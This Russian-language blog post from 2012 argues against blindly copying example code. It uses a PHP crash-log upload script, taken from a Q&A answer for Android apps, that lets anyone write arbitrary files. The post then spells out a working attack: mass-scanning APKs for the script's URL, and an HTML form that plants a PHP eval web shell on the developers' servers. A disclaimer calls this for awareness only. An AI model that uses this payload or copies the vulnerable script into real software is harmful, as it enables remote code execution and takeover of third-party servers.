Пример плохого примера

Автор: anon
09.01.2012 21:11

Сейчас речь пойдет об исходном коде в мануалах и примерах, ведь оттуда узявимости могут попасть в большое количество приложений. Именно поэтому не следует бездумно копировать чужой код.

 

Итак множество ответов на вопросы, примеров и советов по программированию в общем и в частности для Android находится на сайте [CENSORED]. Один из решаемых вопросов состоит в глобальной обработке неперехваченных исключений в приложении для Android. В лучшем ответе приводится пример обработчика таких исключений вместе с кодом отправки стектрейса на сервер, а еще php скрипт для приема этих данных.

<?php
    $filename = isset($_POST['filename']) ? $_POST['filename'] : "";
    $message = isset($_POST['stacktrace']) ? $_POST['stacktrace'] : "";
    if (!ereg('^[-a-zA-Z0-9_. ]+$', $filename) || $message == ""){
        die("This script is used to log debug data. Please send the "
                . "logging message and a filename as POST variables.");
    }
    file_put_contents($filename, $message . "\n", FILE_APPEND);
?>
 

Очевидно, что php скрипт в примере достаточно универсален (это огромное преимущество для кода ящитаю) чтобы сохранять не только логи, но вообще все, в том числе другой php скрипт (remote code execution). Итак, далее привожу действия по эксплуатации данной уязвимости:

  • Скачать достаточно больщой архив приложений Android. Интересно, нарушаются ли законы об авторском праве, ведь пользоваться приложениями не надо, только скачать. Конечно стоило бы написать программу для скачивания их всех из маркета но это непросто.
  • Файл apk - это zip архив, программный код содержится в classes.dex, который лежит в архиве. Такой командой можно быстро проверить все файлы apk на вхождение в программный код строки "/upload.php" - именно так назывался скрипт в примере:
    find -iname '*.apk' -type f -exec unzip -o {} classes.dex 2>/dev/null \; -exec strings classes.dex \; |\
     grep -i "/upload.php"
  • Допустим выявлено несколько вхождений. Теперь остается только залить туда шелл:
    <html>
    <form method=POST action="http://android.developer.site.com/upload.php">
    <input type=submit>
    <input name="filename" value="e.php">
    <input name="stacktrace" value="<?php if(isset($_POST[c]))eval(stripslashes($_POST[c])); ?>">
     
    <textarea name=c rows=20 cols=60></textarea>
    </html>

Конечно, все приведенные действия представлены исключительно для ознакомления с возможными последствиями необдуманного копирования кода из примеров и только. Статью с указанной ошибкой найти будет просто, но похоже, что всё уже исправлено ;).

Обновлено 09.01.2012 21:47

 

Добавить комментарий


Защитный код
Обновить